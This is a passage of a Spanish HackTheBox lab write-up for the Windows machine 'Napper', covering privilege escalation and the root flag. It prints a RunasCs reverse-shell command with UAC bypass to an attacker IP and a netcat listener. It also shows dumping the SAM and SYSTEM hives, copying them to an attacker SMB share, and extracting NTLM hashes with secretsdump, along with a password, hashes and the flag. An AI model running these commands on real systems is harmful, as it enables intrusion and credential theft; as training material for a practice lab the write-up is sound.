Plaintext: VZErqbsDKvWYDTlzMKwRLOnbfXcQePSnMopGNFmY

Y con la clave lanzaremos RunAS para escalar al usuario backup. Importante destacar que el UAC está activado por lo que es necesario añadir el parámetro –bypass-uac para poder llevar a cabo el ataque

PS C:\users\public> .\RunasCs.exe backup VZErqbsDKvWYDTlzMKwRLOnbfXcQePSnMopGNFmY cmd.exe -r 10.10.14.45:4446 --bypass-uac
.\RunasCs.exe backup VZErqbsDKvWYDTlzMKwRLOnbfXcQePSnMopGNFmY cmd.exe -r 10.10.14.45:4446 --bypass-uac

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-3d7da$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1184 created in background.

PS C:\users\public> .\RunasCs.exe backup VZErqbsDKvWYDTlzMKwRLOnbfXcQePSnMopGNFmY cmd.exe -r 10.10.14.45:4446 --bypass-uac

.\RunasCs.exe backup VZErqbsDKvWYDTlzMKwRLOnbfXcQePSnMopGNFmY cmd.exe -r 10.10.14.45:4446 --bypass-uac

[+] Running in session 0 with process function CreateProcessWithLogonW()

[+] Using Station\Desktop: Service-0x0-3d7da$\Default

[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1184 created in background.

Y obtenemos una revshell con el usuario backup

$ nc -nlvp 4446
listening on [any] 4446 ...
connect to [10.10.14.45] from (UNKNOWN) [10.129.163.113] 61946
Microsoft Windows [Version 10.0.19045.3636]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
napper\backup

C:\Windows\system32>

$ nc -nlvp 4446

listening on [any] 4446 ...

connect to [10.10.14.45] from (UNKNOWN) [10.129.163.113] 61946

Microsoft Windows [Version 10.0.19045.3636]

C:\Windows\system32>whoami

whoami

napper\backup

C:\Windows\system32>

Revisamos permisos del usuario y vemos que tiene prácticamente de todo

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled                                                                                                                       
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\Windows\system32>whoami /priv

whoami /priv

PRIVILEGES INFORMATION

----------------------

Privilege Name Description State

========================================= ================================================================== =======

SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled

SeSecurityPrivilege Manage auditing and security log Enabled

SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled

SeLoadDriverPrivilege Load and unload device drivers Enabled

SeSystemProfilePrivilege Profile system performance Enabled

SeSystemtimePrivilege Change the system time Enabled

SeProfileSingleProcessPrivilege Profile single process Enabled

SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled

SeCreatePagefilePrivilege Create a pagefile Enabled

SeBackupPrivilege Back up files and directories Enabled

SeRestorePrivilege Restore files and directories Enabled

SeShutdownPrivilege Shut down the system Enabled

SeDebugPrivilege Debug programs Enabled

SeSystemEnvironmentPrivilege Modify firmware environment values Enabled

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled

SeUndockPrivilege Remove computer from docking station Enabled

SeManageVolumePrivilege Perform volume maintenance tasks Enabled

SeImpersonatePrivilege Impersonate a client after authentication Enabled

SeCreateGlobalPrivilege Create global objects Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeTimeZonePrivilege Change the time zone Enabled

SeCreateSymbolicLinkPrivilege Create symbolic links Enabled

SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

Así que hacemos una copia de sam y system

c:\Users\backup>reg save hklm\sam sam
reg save hklm\sam sam
The operation completed successfully.

c:\Users\backup>reg save hklm\system system
reg save hklm\system system
The operation completed successfully.

c:\Users\backup>reg save hklm\sam sam

reg save hklm\sam sam

The operation completed successfully.

c:\Users\backup>reg save hklm\system system

reg save hklm\system system

The operation completed successfully.

Lo descargamos por smb

c:\Users\backup>copy sam \\10.10.14.45\data\
copy sam \\10.10.14.45\data\
        1 file(s) copied.

c:\Users\backup>copy system \\10.10.14.45\data\
copy system \\10.10.14.45\data\
        1 file(s) copied.

c:\Users\backup>copy sam \\10.10.14.45\data\

copy sam \\10.10.14.45\data\

1 file(s) copied.

c:\Users\backup>copy system \\10.10.14.45\data\

copy system \\10.10.14.45\data\

1 file(s) copied.

Y sacamos los hashes

$ impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra                                                                                                                                                                                                   
                                                                                                                                                                                                                                           
[*] Target system bootKey: 0xa79b561a7776766c6d7c816b6f73e877                                                                                                                                                                              
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)                                                                                                                                                                                       
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ed5cc50d93a33729acd6df740eecd86c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:49c2f41a954679b5f3a7ef12deab11e4:::
ruben:1001:aad3b435b51404eeaad3b435b51404ee:ae5917c26194cec4fc402490c7a919a7:::
example:1002:aad3b435b51404eeaad3b435b51404ee:4da4a64845e9fbf07e0f7e236ca82694:::
backup:1003:aad3b435b51404eeaad3b435b51404ee:d44297fba474d321d0259c8fdef98a9a:::
[*] Cleaning up...

$ impacket-secretsdump -sam sam -system system LOCAL

[*] Target system bootKey: 0xa79b561a7776766c6d7c816b6f73e877

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ed5cc50d93a33729acd6df740eecd86c:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:49c2f41a954679b5f3a7ef12deab11e4:::

ruben:1001:aad3b435b51404eeaad3b435b51404ee:ae5917c26194cec4fc402490c7a919a7:::

example:1002:aad3b435b51404eeaad3b435b51404ee:4da4a64845e9fbf07e0f7e236ca82694:::

backup:1003:aad3b435b51404eeaad3b435b51404ee:d44297fba474d321d0259c8fdef98a9a:::

[*] Cleaning up...

Obteniendo la flag de root

Además, como el usuario backup es administrador, vamos al escritorio de este y cogemos la flag

c:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is CB08-11BF

 Directory of c:\Users\Administrator\Desktop

06/09/2023  05:18 AM    <DIR>          .
06/09/2023  05:18 AM    <DIR>          ..
06/08/2023  02:13 AM             2,348 Microsoft Edge.lnk
11/14/2023  12:24 PM                34 root.txt
               2 File(s)          2,382 bytes
               2 Dir(s)   3,139,518,464 bytes free

c:\Users\Administrator\Desktop>type root.txt
type root.txt
3ea059aa26c5686b1ddd0ca833ac79df

c:\Users\Administrator\Desktop>dir

dir

Volume in drive C has no label.

Volume Serial Number is CB08-11BF

Directory of c:\Users\Administrator\Desktop

06/09/2023 05:18 AM <DIR> .

06/09/2023 05:18 AM <DIR> ..

06/08/2023 02:13 AM 2,348 Microsoft Edge.lnk

11/14/2023 12:24 PM 34 root.txt

2 File(s) 2,382 bytes

2 Dir(s) 3,139,518,464 bytes free

c:\Users\Administrator\Desktop>type root.txt

type root.txt

3ea059aa26c5686b1ddd0ca833ac79df

Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.

Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace

HackTheBox machines – Napper WriteUp

Napper es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox basada en Windows

Escaneo de puertos

Enumeración

Obteniendo la flag de user

Escalado de privilegios

Obteniendo la flag de root

Tal vez te interese...

Deja una respuesta Cancelar la respuesta

Tal vez te interese...

Búsqueda

Escaneo de puertos

Enumeración

Obteniendo la flag de user

Escalado de privilegios

Obteniendo la flag de root

Tal vez te interese...

Deja una respuesta Cancelar la respuesta

Tal vez te interese...

Búsqueda

Populares

Nube de Tags